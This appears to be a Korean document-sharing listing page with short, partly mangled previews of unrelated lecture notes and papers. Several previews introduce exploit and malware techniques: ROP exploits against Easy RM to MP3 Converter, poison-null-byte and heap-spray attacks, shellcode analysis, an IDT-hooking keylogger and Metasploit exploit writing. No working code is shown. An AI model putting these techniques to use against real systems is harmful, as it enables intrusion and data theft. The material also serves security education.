Microsoft PowerPoint - 15-MARS MARS 소개및실행 어셈블리프로그램실행예 순천향대학교컴퓨터공학과이상정 1 MARS 소개및실행 순천향대학교컴퓨터공학과 2 MARS 소개 MARS MIPS Assembler and Runtime Simulator MIPS 어셈블리언어를위한소프트웨어시뮬레이터 미주리대학 (Missouri State Univ.) 의 Ken Vollmar 등이자바로개발한교육용시뮬레이터

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

Microsoft Word - Static analysis of Shellcode.doc

Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

5.스택(강의자료).key

5.스택(강의자료).key CHP 5: https://www.youtube.com/watch?v=ns-r91557ds ? (stack): (LIFO:Last-In First-Out):. D C B C B C B C B (element) C (top) B (bottom) (DT) : n element : create() ::=. is_empty(s) ::=. is_full(s) ::=.

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

Microsoft Word - 1. ARM Assembly 실습_xp2.doc ARM asm 의구조 ARM Assembly 실습 1. 기본골격 AREA armex,code, READONLY ;Mark first instruction to execute start MOV r0, #10 MOV r1,#3 ADD r0, r0, r1 ; r0 = r0 + r1 stop NOP NOP B stop ; Mark end of file 위의 asm의구조를이해하고실행해보세요.

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

1

1 1 1....6 1.1...6 2. Java Architecture...7 2.1 2SDK(Software Development Kit)...8 2.2 JRE(Java Runtime Environment)...9 2.3 (Java Virtual Machine, JVM)...10 2.4 JVM...11 2.5 (runtime)jvm...12 2.5.1 2.5.2

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63>

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63> Virut 바이러스공격 ASEC 분석 1 팀고흥환선임연구원 해마다접수되는악성코드의통계를보면대부분이인터넷웜또는트로이목마가대부분을차지하며, 파일에기생하는바이러스는그수가적어지는것이추세이다. 그도그럴것이최근의악성코드특징은개인의능력과시가아닌돈과연관되는악성코드작성이대부분이기때문이다. 그렇다면 Virut 바이러스가인터넷웜과트로이목마를제치고국내뿐만아니라해외에서도큰피해를입히고있는이유가무엇인지,

More information

13주-14주proc.PDF

13주-14주proc.PDF 12 : Pro*C/C++ 1 2 Embeded SQL 3 PRO *C 31 C/C++ PRO *C NOT! NOT AND && AND OR OR EQUAL == = SQL,,, Embeded SQL SQL 32 Pro*C C SQL Pro*C C, C Pro*C, C C 321, C char : char[n] : n int, short, long : float

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

untitled

untitled - -, (insert) (delete) - - (insert) (delete) (top ) - - (insert) (rear) (delete) (front) A A B top A B C top push(a) push(b) push(c) A B top pop() top A B D push(d) top #define MAX_STACK_SIZE 100 int

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

rmi_박준용_final.PDF

rmi_박준용_final.PDF (RMI) - JSTORM http://wwwjstormpekr (RMI)- Document title: Document file name: Revision number: Issued by: Document Information (RMI)- rmi finaldoc Issue Date: Status:

More information

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770> 시리얼번호작성루틴을뽑아내서 Brute-Force 돌리기.. 작성일 : 2005년가을작성자 : graylynx (graylynx at gmail.com) 크랙미정보 GOAL : Find the correct password No patching allowed Difficulty : 2/10 This is an exercise on brute-attacking.

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

Microsoft Word - UFuz3 분석.doc

Microsoft Word - UFuz3 분석.doc 파일퍼저 UFuz3 분석 이용일 (foryou2008@nate.com) 2008-07-26 0. 개요 UFuz3 는 eeye 에서공개한파일퍼저입니다. UFuz3 의기능분석및상세분석을통해, 퍼저는어떤모 습을갖추고있는지, 또한퍼저는내부적으로어떤방식으로동작하는지살펴보려고합니다. 1. 기능분석 UFuz3 는파일을파싱하는루틴내에 Integer Overflow 가존재하는지를검사합니다.

More information

02 C h a p t e r Java

02 C h a p t e r Java 02 C h a p t e r Java Bioinformatics in J a va,, 2 1,,,, C++, Python, (Java),,, (http://wwwbiojavaorg),, 13, 3D GUI,,, (Java programming language) (Sun Microsystems) 1995 1990 (green project) TV 22 CHAPTER

More information

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A 강연소개 Exception Handler 를통한에러검출및수정 디버깅을즐겨하십니까..? 에러를만나면반갑습니까..? 전화로버그보고를받았나요..? 잡히지않는버그!!!! 따분한강의 졸아도좋습니다!!!! 강연자소개 테스터 온라인게임클라이언트개발 로컬라이즈및해외지원업무 디버깅, 최적화, 호환성향상에관심 강연대상 x86 환경에서 Windows 프로그래밍 디버깅 / 에러추적은

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F494454486F6F6B696E672E687770>

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F494454486F6F6B696E672E687770> IDT Hooking을 이용한 Simple KeyLogger 이동수 alonglog@is119.jnu.ac.kr 개 요 커널 Hooking에 관하여 공부하는 중에 IDT Hooking에 관하여 알게 되었다. 이전에 공부하 였던 SSDT Hooking과는 다른 요소가 많다. IDT Hooking을 공부하면서 컴퓨터의 인터럽트 과정을 이해할 수 있는 좋은 계기가

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly

More information

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration

More information

The_IDA_Pro_Book

The_IDA_Pro_Book The IDA Pro Book Hacking Group OVERTIME force (forceteam01@gmail.com) GETTING STARTED WITH IDA IDA New : Go : IDA Previous : IDA File File -> Open Processor type : Loading Segment and Loading Offset x86

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

PCServerMgmt7

PCServerMgmt7 Web Windows NT/2000 Server DP&NM Lab 1 Contents 2 Windows NT Service Provider Management Application Web UI 3 . PC,, Client/Server Network 4 (1),,, PC Mainframe PC Backbone Server TCP/IP DCS PLC Network

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

Chap06(Interprocess Communication).PDF

Chap06(Interprocess Communication).PDF Interprocess Communication 2002 2 Hyun-Ju Park Introduction (interprocess communication; IPC) IPC data transfer sharing data event notification resource sharing process control Interprocess Communication

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

Interstage5 SOAP서비스 설정 가이드

Interstage5 SOAP서비스 설정 가이드 Interstage 5 Application Server ( Solaris ) SOAP Service Internet Sample Test SOAP Server Application SOAP Client Application CORBA/SOAP Server Gateway CORBA/SOAP Gateway Client INTERSTAGE SOAP Service

More information

thesis

thesis ( Design and Implementation of a Generalized Management Information Repository Service for Network and System Management ) ssp@nile nile.postech.ac..ac.kr DPE Lab. 1997 12 16 GMIRS GMIRS GMIRS prototype

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

Modern Javascript

Modern Javascript ES6 - Arrow Function Class Template String Destructuring Default, Rest, Spread let, const for..of Promises Module System Map, Set * Generator * Symbol * * https://babeljs.io/ Babel is a JavaScript compiler.

More information

02(243-249) CSTV11-22.hwp

02(243-249) CSTV11-22.hwp 함수호출규약에 기반한 새로운 소프트웨어 워터마킹 기법 243 함수호출규약에 기반한 새로운 소프트웨어 워터마킹 기법 (A Novel Software Watermarking Scheme Based on Calling Convention) 전 철 정진만 김봉재 (Cheol Jeon) (Jinman Jung) (Bongjae Kim) 장준혁 조유근 홍지만 (Joonhyouk

More information

SIGPLwinterschool2012

SIGPLwinterschool2012 1994 1992 2001 2008 2002 Semantics Engineering with PLT Redex Matthias Felleisen, Robert Bruce Findler and Matthew Flatt 2009 Text David A. Schmidt EXPRESSION E ::= N ( E1 O E2 ) OPERATOR O ::=

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

untitled

untitled 9 hamks@dongguk.ac.kr : Source code Assembly language code x = a + b; ld a, %r1 ld b, %r2 add %r1, %r2, %r3 st %r3, x (Assembler) (bit pattern) (machine code) CPU security (code generator).. (Instruction

More information

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4 Introduction to software design 2012-1 Final 2012.06.13 16:00-18:00 Student ID: Name: - 1 - 0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

디지털포렌식학회 논문양식

디지털포렌식학회 논문양식 Windows Transactional NTFS(TxF), Registry(TxR) 기능 연구 유 병 영, 방 제 완, 이 상 진 고려대학교 디지털포렌식연구센터 Analysis of Windows Transactional NTFS(TxF) and Transactional Registry(TxR) Byeongyeong Yoo, Jewan Bang, Sangjing

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

Orcad Capture 9.x

Orcad Capture 9.x OrCAD Capture Workbook (Ver 10.xx) 0 Capture 1 2 3 Capture for window 4.opj ( OrCAD Project file) Design file Programe link file..dsn (OrCAD Design file) Design file..olb (OrCAD Library file) file..upd

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 4 (Object) (Class) (Instance) (Method) (Constructor) Memory 1 UML 1 @ & 1 (Real World) (Software World) @ &.. () () @ & 2 (Real World) (Software World) OOA/ Modeling Abstraction Instantiation

More information